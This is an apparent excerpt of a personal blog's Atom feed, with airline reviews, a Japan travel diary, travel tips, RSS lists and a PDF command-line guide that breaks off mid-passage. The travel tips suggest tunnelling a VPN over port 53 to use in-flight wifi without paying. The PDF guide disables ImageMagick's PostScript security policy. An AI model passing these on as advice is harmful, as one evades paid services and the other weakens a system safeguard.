&lt;p&gt;Only flew with them on sub 2 hour flights (NYC -&amp;gt; Montreal, Toronto -&amp;gt; NYC). On one flight, the plane was small (4 seats per row, 2 on each side). It was a Embraer 175. Looked quite outdated. We got a snack (a drink and a cookie). Nice staff. Could not figure out where to plug the earphones lol. They did not bother me with my overly big backpack (Decathlon Travel 100, 60 liters) when boarding. Very big offering of movies (even Apple TV was available).&lt;/p&gt;
&lt;h1 id="swiss-swiss-international-air-lines"&gt;SWISS (Swiss International Air Lines)&lt;/h1&gt;
&lt;p&gt;Decent company. One regular carry-on + one small hand luggage included in the economy fare by default, for free. &lt;a href="https://www.swiss.com/de/en/customer-support/faq/sports-equipment"&gt;They also will transport ski equipment for free!&lt;/a&gt; Food and drinnks are paid, but got one bottle of water and a small chocolate bar for free. Would definitely and happily fly with them again!&lt;/p&gt;</content><category term="Travels"></category><category term="travel"></category></entry><entry><title>Architectures</title><link href="https://romainpellerin.eu/architectures.html" rel="alternate"></link><published>2017-01-05T11:00:00+01:00</published><updated>2017-01-24T12:58:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2017-01-05:/architectures.html</id><summary type="html">&lt;p&gt;A bunch of resources about architectures&lt;/p&gt;</summary><content type="html">&lt;h1 id="general"&gt;General&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://nickcraver.com/blog/2016/02/17/stack-overflow-the-architecture-2016-edition/"&gt;Stack Overflow: The Architecture - 2016 Edition&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="scalability-and-distributed-systems"&gt;Scalability and distributed systems&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://highscalability.com/blog/2016/4/20/how-twitter-handles-3000-images-per-second.html"&gt;How Twitter Handles 3,000 Images Per Second&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/aphyr/distsys-class/blob/master/README.markdown"&gt;An introduction to distributed systems&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.twitter.com/2017/the-infrastructure-behind-twitter-scale"&gt;The Infrastructure Behind Twitter: Scale&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Code"></category><category term="networks"></category><category term="systems"></category><category term="infrastructure"></category><category term="architecture"></category></entry><entry><title>Japan</title><link href="https://romainpellerin.eu/japan.html" rel="alternate"></link><published>2017-01-04T01:00:00+01:00</published><updated>2019-03-26T11:00:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2017-01-04:/japan.html</id><summary type="html">&lt;p&gt;My trip to Japan&lt;/p&gt;</summary><content type="html">&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/PxHEtFqoWr0?rel=0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;

&lt;p&gt;&lt;em&gt;The above is a video from my trip there. If you can't play the video, &lt;a href="https://www.youtube.com/watch?v=PxHEtFqoWr0" target="_blank"&gt;click here&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;In late 2016/early 2017, three friends of mine and I went for the first time of our lifes to Japan. In this article, I explain a few things about this fabulous country and I tell our trip.&lt;/p&gt;
&lt;h1 id="a-few-words-that-you-will-need"&gt;A few words that you will need&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Hello:&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Ohayō gozaimasu&lt;/strong&gt;: in the morning (pronunciation: &lt;em&gt;oh-hah-yoh goh-za-ee-muss&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Konnichiwa&lt;/strong&gt;: basically anytime, or most specifically in the afternoon (pronunciation: &lt;em&gt;kohn-nee-chee-wah&lt;/em&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Thank you: &lt;strong&gt;Arigatou gozaimasu&lt;/strong&gt;, although gozaimasu is optional but more polite (pronunciation: &lt;em&gt;aligato goh-za-ee-muss&lt;/em&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="good-to-know"&gt;Good to know&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;They love green tea, you will get some in almost every restaurant.&lt;/li&gt;
&lt;li&gt;They drive on the left hand side. So, be careful on escalators, in most cities people will stand on the left hand side and walk up or down on the right hand side (not in Osaka though).&lt;/li&gt;
&lt;li&gt;There are few public benches and garbages bins for mysterious reasons (1995 attack or overload of trash, homeless sleeping on benches...?). You will however find convenience stores (called konbinis) at every corner in which there are trash cans that you can use.&lt;/li&gt;
&lt;li&gt;Buy &lt;a href="http://www.japan-guide.com/e/e2359_003.html"&gt;a Suica card or Pasmo card&lt;/a&gt; for transportation (bus, subway, trains), so convenient! Both will work in most cities (Tokyo, Kyoto, Osaka and Nara all accepted my Suica card). They basically do the same job.&lt;/li&gt;
&lt;li&gt;Wishing to buy English books in Tokyo? Go check out Kinokuniya in Shinjuku or Book 1st, both separated from a walkable distance.&lt;/li&gt;
&lt;li&gt;Regarding cash withdrawals, ATMs from 7-Eleven do not charge fees.&lt;/li&gt;
&lt;li&gt;Most convenience stores are open 24/7 (7-Eleven stores are almost everywhere).&lt;/li&gt;
&lt;li&gt;There are cheap lockers inside train stations that you can use to avoid carrying your luggage, when travelling (prices vary between ¥300 and ¥700, depending on the size).&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="my-trip-in-2016-city-by-city"&gt;My trip in 2016, city by city&lt;/h1&gt;
&lt;p&gt;On the first day, we landed at night at Haneda and went straight to our hostel, &lt;a href="http://www.hostelworld.com/hosteldetails.php/ARTnSHELTER/Tokyo/101399"&gt;ARTNSHELTER&lt;/a&gt;. The next day we visited Odaiba and saw the Giant Gundam Statue. Then, we took &lt;a href="http://www.jnto.go.jp/eng/arrange/travel/practical/pdf/highwaybus_tokyo_kyoto_nara_osaka.pdf"&gt;a night bus to Osaka&lt;/a&gt;, quite pricey! The next morning, we arrived in Osaka around 7am. We did the whole city in a day: Umeda Sky Building (we could not go up there though because it was not open yet, we were too early), Osaka Castle and an amazing street on which there is a famous tower named Tsūtenkaku, located in Shinsekai. At night, we took a train for Kyoto.&lt;/p&gt;
&lt;p&gt;We had booked a comfortable &lt;a href="https://www.airbnb.com/rooms/9868312"&gt;Airbnb&lt;/a&gt;, very cheap and well located. We stayed there for 3 days and 4 nights. Here is what we visited in Tokyo during our stay there:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Kinkaku-ji&lt;/li&gt;
&lt;li&gt;Kiyomizu-dera&lt;/li&gt;
&lt;li&gt;Higashiyama-ku and Shōhō-ji Temple (in the same ward)&lt;/li&gt;
&lt;li&gt;Fushimi Inari-taisha (we went to the top, wonderful!)&lt;/li&gt;
&lt;li&gt;Arashiyama: Iwatayama Monkey Park and the Bamboo Grove&lt;/li&gt;
&lt;li&gt;Sanjūsangen-dō: an astonishing discovery&lt;/li&gt;
&lt;li&gt;Kyoto Imperial Palace&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Pro tip&lt;/strong&gt;: during one day, we rented bikes which allowed us to go around more easily for only a few euros (roughly 10€ per person if my memory serves me well).&lt;/p&gt;
&lt;p&gt;One evening, we went to a very nice bar, BAR ZAZAVIE (ザザビー). Great atmosphere, a bit expensive though. The one time we went there we were lucky enough to witness a jazz music concert. Address: 67−3 Kitanoshimohakubaichō, 603-8326 Kyōto-fu, Kyōto-shi, Kita-ku. Another evening, we went to a great restaurant called Kushihachi. It has delicious sushis and the staff is friendly. Address: 33-1 Kitanokamihakubaichō, 603-8325 Kyōto-fu, Kyōto-shi, Kita-ku.&lt;/p&gt;
&lt;p&gt;Then, we left Kyoto and took a train for Nara. There we did the city in a day: Tōdai-ji, Nara Park, famous for its deer and Kasuga-taisha. At the end of the day, once again we took a night bus, for Tokyo this time.&lt;/p&gt;
&lt;p&gt;We spent some of the remaining days in a cosy &lt;a href="https://www.airbnb.fr/rooms/16377379"&gt;Airbnb&lt;/a&gt;, not too far from the Tokyo Skytree that we did a few days later. Here is a list of some of the places we visited:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Shibuya and its world–renowned crossing, which can be observed from the first floor of the Starbucks. Furthermore, Shibuya has a restaurant we enjoyed many times, Sushi-Nova: sushis served on conveyor belts, automatically; quite cheap (or at least very affordable). GPS coordinates of Sushi-Nova: 35.660140, 139.698121.&lt;/li&gt;
&lt;li&gt;Asakusa and the Sensō-ji temple: great area! If you get a chance to find a hotel or a Airbnb room there, go for it! It is very relaxing and quiet.&lt;/li&gt;
&lt;li&gt;Ueno Park and its zoo (the zoo was closed though)&lt;/li&gt;
&lt;li&gt;Yoyogi Park and Meiji Shrine&lt;/li&gt;
&lt;li&gt;Two towers: as I wrote above, the Tokyo Skytree plus the Tokyo Tower (the one that almost looks like the Eiffel Tower)&lt;/li&gt;
&lt;li&gt;Tsukiji Fish Market&lt;/li&gt;
&lt;li&gt;Shinjuku&lt;/li&gt;
&lt;li&gt;Roppongi: Maman (a giant spider sculpture). There's an observation deck at the top of the building next to the sculpture, if you're willing to pay (we weren't).&lt;/li&gt;
&lt;li&gt;Akihabara: the video games/manga neighborhood&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Eventually, the last day we left Tokyo from Narita airport. The cheapest and most convenient way to reach that airport from downtown is by riding one of &lt;a href="http://accessnarita.jp/en/home/"&gt;THE ACCESS NARITA&lt;/a&gt;'s buses.&lt;/p&gt;
&lt;h1 id="things-i-wish-i-did"&gt;Things I wish I did&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://maricar.com/"&gt;Go kart in Tokyo&lt;/a&gt;. Note that it requires a driving licence translated in Japanese (it costs a few euros).&lt;/li&gt;
&lt;li&gt;The Shinkansen high-speed train&lt;/li&gt;
&lt;li&gt;Hiroshima&lt;/li&gt;
&lt;li&gt;Get a better view of the Mount Fuji (go closer?)&lt;/li&gt;
&lt;li&gt;Witness sumo wrestling&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="interesting-online-resources"&gt;Interesting online resources&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://japantoday.com/category/features/lifestyle/why-do-japanese-people-wear-surgical-masks-its-not-always-for-health-reasons"&gt;Why do Japanese people wear surgical masks? It’s not always for health reasons&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Travels"></category><category term="travel"></category><category term="japan"></category></entry><entry><title>Travels: tips and tricks</title><link href="https://romainpellerin.eu/travels-tips-and-tricks.html" rel="alternate"></link><published>2016-12-26T23:35:00+01:00</published><updated>2018-04-25T23:33:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2016-12-26:/travels-tips-and-tricks.html</id><summary type="html">&lt;p&gt;Recommendations and advice for travelers&lt;/p&gt;</summary><content type="html">&lt;p&gt;During the last 12 months, I've had the chance to travel quite a lot (The Netherlands, Belgium, UK, US, South Korea, Hong-Kong, Japan). Thanks to these experiences, I have gathered quite a few pieces of advice regarding how to prepare, organization, etc. I'll keep updating this article as I travel.&lt;/p&gt;
&lt;h1 id="before-departing"&gt;Before departing&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;Carry-on&lt;/strong&gt;: make sure you have a few clothes in the cabin, don't pack everything into the hold luggage.&lt;/p&gt;
&lt;p&gt;Make sure you have VLC installed on your Android phone to watch movies and/or TV series. VLC in more convient for that it supports a wider variety of formats and allows one to add subtitles. Also, you should have an offline access to what you intend to watch on your mobile phone or laptop, along with subtitles.&lt;/p&gt;
&lt;p&gt;You may want an Internet access. Most airlines will offer Wifi for a few dollars, however if you have a VPN set up somewhere in the world you might be able to access the Internet for free using it. More importantly, even though you decide to pay, &lt;a href="https://theintercept.com/2016/12/07/american-and-british-spy-agencies-targeted-in-flight-mobile-phone-use/"&gt;you may want to protect your privacy&lt;/a&gt;. How so?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It is better to know your VPN's IP, it makes things easier.&lt;/li&gt;
&lt;li&gt;OpenVPN is handy, and there's an Android app for that (free!)&lt;/li&gt;
&lt;li&gt;The VPN server should be reachable on ports 80, 443, 53 (DNS) or any other random one. Indeed, those are the ports less likely to be blocked. 53 is the preferred if you want to reach your VPN without paying.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Last but not least, take outlet adapters (practically all planes are US outlets compatible). In addition, a USB to AC converter would come very handy, as there are more often USB outlets than AC power plugs. This way you can use a laptop.&lt;/p&gt;
&lt;p&gt;Before ending this ending, very few people know that but French citizens can get the taxes they paid back if they miss their flight or if it gets cancelled. Source: &lt;a href="https://www.service-public.fr/particuliers/vosdroits/F32396"&gt;Peut-on se faire rembourser les taxes si on rate ou annule son voyage en avion ?&lt;/a&gt;&lt;/p&gt;
&lt;h1 id="general-advice-for-travelers"&gt;General advice for travelers&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Plan two activities per day TOPS, if you want to enjoy them as much as possible and avoid being in a rush all the time&lt;/li&gt;
&lt;li&gt;Bringing little gifts from your home country to your Airbnb hosts is always a good idea and will please them&lt;/li&gt;
&lt;li&gt;Plan you trip in advance and thoroughly, and make that plan available to everyone in your group so that no one has to worry about anything&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="dont-get-lost"&gt;Don't get lost&lt;/h1&gt;
&lt;p&gt;Here are two great Android apps that you can use for free to find routes and points of interests in most cities in the world.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Google Maps, with the "Offline" feature. It allows you to download maps so that you can use them offline (it does not work in a few countries though, those that do not let Google access their maps, such as South Korea). This app is pre-installed on Android devices.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://osmand.net/"&gt;OsmAnd&lt;/a&gt;, available on the &lt;a href="https://play.google.com/store/apps/details?id=net.osmand"&gt;Google Play Store&lt;/a&gt;. It uses &lt;a href="https://www.openstreetmap.org/"&gt;OpenStreetMap&lt;/a&gt;'s data so it is basically available everywhere, thanks to users' contributions. Likewise, it has offline features which provide a great level of details.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="useful-link-for-travelers"&gt;Useful link for travelers&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.secretflying.com/"&gt;SecretFlying&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.eff.org/wp/digital-privacy-us-border-2017"&gt;Digital Privacy at the U.S. Border: Protecting the Data On Your Devices and In the Cloud&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=_CHaUhwrafM"&gt;TUTO - Comment chercher un billet d'avion&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=uZaEAo7NCes"&gt;TUTO - Comment dépenser moins cher en voyage&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=nTbzx4-lAAI"&gt;TUTO - Mon Top 10 des astuces en VOYAGE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=2PZNLlprlwc"&gt;TUTO - Faire son SAC A DOS pour un TOUR DU MONDE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mricon.com/i/travel-laptop-setup.html"&gt;Travel (Linux) laptop setup&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Travels"></category><category term="travel"></category></entry><entry><title>My RSS Subscriptions</title><link href="https://romainpellerin.eu/my-rss-subscriptions.html" rel="alternate"></link><published>2016-12-18T23:00:00+01:00</published><updated>2023-10-29T16:32:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2016-12-18:/my-rss-subscriptions.html</id><summary type="html">&lt;p&gt;The RSS feeds I subscribed to.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Here is a list of all the websites I subscribed to. Those are very interesting and cover a wide variety of topics. A few of them are in French though.&lt;/p&gt;
&lt;h1 id="bike"&gt;Bike&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.pausevelo.com/feed/"&gt;Pause Velo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://cyclocast.fr/category/Podcast/feed/"&gt;Podcast – Cyclocast&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://cause-commune.fm/podcastfilter/rayons-libres/feed/"&gt;rayons libres – Cause Commune – Paris – 93.1 FM&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="computers"&gt;Computers&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://feeds.feedburner.com/2ality?format=xml"&gt;2ality feed&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.mozfr.org/feed/atom"&gt;Communauté Mozilla francophone&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://infrequently.org/feed/"&gt;Infrequently Noted&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://hacks.mozilla.org/feed/"&gt;Mozilla Hacks – the Web developer blog&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://overreacted.io/rss.xml"&gt;Overreacted&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.cavelab.dev/index.xml"&gt;blog.cavelab.dev&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="germany"&gt;Germany&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://feeds.thelocal.com/rss/de"&gt;The Local&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.tip-berlin.de/english/feed/"&gt;tip english – tipBerlin&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="humor"&gt;Humor&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.commitstrip.com/fr/feed/"&gt;CommitStrip&lt;/a&gt; (&lt;a href="http://www.commitstrip.com/en/feed/"&gt;English feed&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/feeds/videos.xml?playlist_id=PLS9S-RWXlfOfL8I4LC54_AWqU-IWgsngH"&gt;LE MOMENT MEURICE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/feeds/videos.xml?playlist_id=PLtScWTSuZmZUcSpgFBy9eWH7-ZAljq6iE"&gt;L'ABC&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.monkeyuser.com/feed.xml"&gt;MonkeyUser&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="About me"></category><category term="news"></category><category term="rss"></category><category term="feed"></category></entry><entry><title>How To Modify PDF Files</title><link href="https://romainpellerin.eu/how-to-modify-pdf-files.html" rel="alternate"></link><published>2016-12-10T00:30:00+01:00</published><updated>2026-02-21T20:52:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2016-12-10:/how-to-modify-pdf-files.html</id><summary type="html">&lt;p&gt;On to extract/edit/merge pages from one or several PDF files&lt;/p&gt;</summary><content type="html">&lt;ul&gt;
&lt;li&gt;&lt;code&gt;gs&lt;/code&gt; is likely already installed.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pdftk&lt;/code&gt; can be installed using &lt;code&gt;sudo aptitude install pdftk&lt;/code&gt;. &lt;code&gt;pdftk&lt;/code&gt; &lt;a href="http://askubuntu.com/questions/809800/whats-the-difference-between-gs-and-pdftk-in-merge-pdf-files"&gt;is not recommended because of its old and outdated PDF engine&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pdfjam&lt;/code&gt; is part of the LaTeX distribution (&lt;code&gt;sudo aptitude install texlive-full&lt;/code&gt;). However, &lt;code&gt;pdfjam&lt;/code&gt; &lt;a href="https://blog.dbrgn.ch/2013/8/14/merge-multiple-pdfs/"&gt;is not recommended&lt;/a&gt; either because hyperlinks are not preserved.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So my advice is to go with &lt;code&gt;gs&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Other commands exist such as &lt;code&gt;pdfseparate&lt;/code&gt; and &lt;code&gt;pdfunite&lt;/code&gt;. They are very good but the output files are quite heavy, compared to those obtained using &lt;code&gt;gs&lt;/code&gt;.&lt;/p&gt;
&lt;h1 id="convert-a-pdf-to-multiple-pngs-one-image-per-page"&gt;Convert a PDF to multiple PNGs (one image per page)&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;convert input.pdf -density &lt;span class="m"&gt;300&lt;/span&gt; -background &lt;span class="s1"&gt;&amp;#39;white&amp;#39;&lt;/span&gt; -alpha remove output.png
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="add-a-password-to-a-pdf-file"&gt;Add a password to a PDF file&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pdftk input.pdf output output.pdf userpw &amp;lt;password here&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="reduce-sizequality-of-a-pdf-file"&gt;Reduce size/quality of a PDF file&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ps2pdf -dPDFSETTINGS&lt;span class="o"&gt;=&lt;/span&gt;/ebook input.pdf output.pdf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;/ebook&lt;/code&gt; can also be replaced with &lt;code&gt;/screen&lt;/code&gt; for further reduction.&lt;/p&gt;
&lt;h1 id="extracting-pages"&gt;Extracting pages&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Extracts all pages from 1 to 5&lt;/span&gt;
gs -sDEVICE&lt;span class="o"&gt;=&lt;/span&gt;pdfwrite -dNOPAUSE -dBATCH -dSAFER -dFirstPage&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; -dLastPage&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;5&lt;/span&gt; -sOutputFile&lt;span class="o"&gt;=&lt;/span&gt;output.pdf input.pdf

&lt;span class="c1"&gt;# Extracts all pages from 1 to 2 and 4 to the end&lt;/span&gt;
pdftk input.pdf cat &lt;span class="m"&gt;1&lt;/span&gt;-2 &lt;span class="m"&gt;4&lt;/span&gt;-end output output.pdf

&lt;span class="c1"&gt;# Extract only pages 1, 2, 4 and 5&lt;/span&gt;
pdftk input.pdf cat &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt; &lt;span class="m"&gt;4&lt;/span&gt; &lt;span class="m"&gt;5&lt;/span&gt; output output.pdf

&lt;span class="c1"&gt;# Split each page into a file&lt;/span&gt;
pdftk input.pdf burst
&lt;span class="c1"&gt;# OR&lt;/span&gt;
&lt;span class="nv"&gt;file&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;input.pdf
&lt;span class="nv"&gt;pages&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;pdfinfo &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s2"&gt;&amp;quot;Pages&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;{print $2}&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Detect &lt;/span&gt;&lt;span class="nv"&gt;$pages&lt;/span&gt;&lt;span class="s2"&gt; in &lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;filename&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;file&lt;/span&gt;&lt;span class="p"&gt;%.*&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; i &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="k"&gt;$(&lt;/span&gt;seq -w &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$pages&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
    pdftk &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; cat &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; output &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$filename&lt;/span&gt;&lt;span class="s2"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="s2"&gt;.pdf&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="editing-one-page"&gt;Editing one page&lt;/h1&gt;
&lt;p&gt;Use Gimp (import with 300-dpi setting).&lt;/p&gt;
&lt;h1 id="add-a-watermark-to-multiple-pdf-files"&gt;Add a watermark to multiple PDF files&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;mkdir -p out&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; f &lt;span class="k"&gt;in&lt;/span&gt; *.pdf&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; convert -density &lt;span class="m"&gt;150&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; -pointsize &lt;span class="m"&gt;60&lt;/span&gt; -draw &lt;span class="s2"&gt;&amp;quot;gravity center fill #FF000080 rotate -20 text 0,12 &amp;#39;Copy for XYZ&amp;#39; &amp;quot;&lt;/span&gt; -draw &lt;span class="s2"&gt;&amp;quot;gravity South fill #FF000080 rotate -20 text 0,12 &amp;#39;Copy for XYZ&amp;#39; &amp;quot;&lt;/span&gt; -draw &lt;span class="s2"&gt;&amp;quot;gravity North fill #FF000080 rotate -20 text 0,12 &amp;#39;Copy for XYZ&amp;#39; &amp;quot;&lt;/span&gt;  -quality &lt;span class="m"&gt;80&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;out/&lt;/span&gt;&lt;span class="nv"&gt;$f&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="merging-several-pdf-files"&gt;Merging several PDF files&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;gs -sDEVICE&lt;span class="o"&gt;=&lt;/span&gt;pdfwrite -dNOPAUSE -dBATCH -dSAFER -sOutputFile&lt;span class="o"&gt;=&lt;/span&gt;output.pdf input1.pdf input2.pdf input3.pdf
pdftk input1.pdf input2.pdf input3.pdf cat output output.pdf
pdfjam input1.pdf input2.pdf input3.pdf -o output.pdf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="convert-one-or-several-jpg-files-into-a-single-pdf"&gt;Convert one or several JPG files into a single pdf&lt;/h1&gt;
&lt;p&gt;First, in &lt;code&gt;/etc/ImageMagick-6/policy.xml&lt;/code&gt;, comment out the last 6 lines:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cm"&gt;&amp;lt;!-- &amp;lt;policy domain=&amp;quot;coder&amp;quot; rights=&amp;quot;none&amp;quot; pattern=&amp;quot;PS&amp;quot; /&amp;gt;&lt;/span&gt;
&lt;span class="cm"&gt;&amp;lt;policy domain=&amp;quot;coder&amp;quot; rights=&amp;quot;none&amp;quot; pattern=&amp;quot;PS2&amp;quot; /&amp;gt;&lt;/span&gt;
&lt;span class="cm"&gt;&amp;lt;policy domain=&amp;quot;coder&amp;quot; rights=&amp;quot;none&amp;quot; pattern=&amp;quot;PS3&amp;quot; /&amp;gt;&lt;/span&gt;
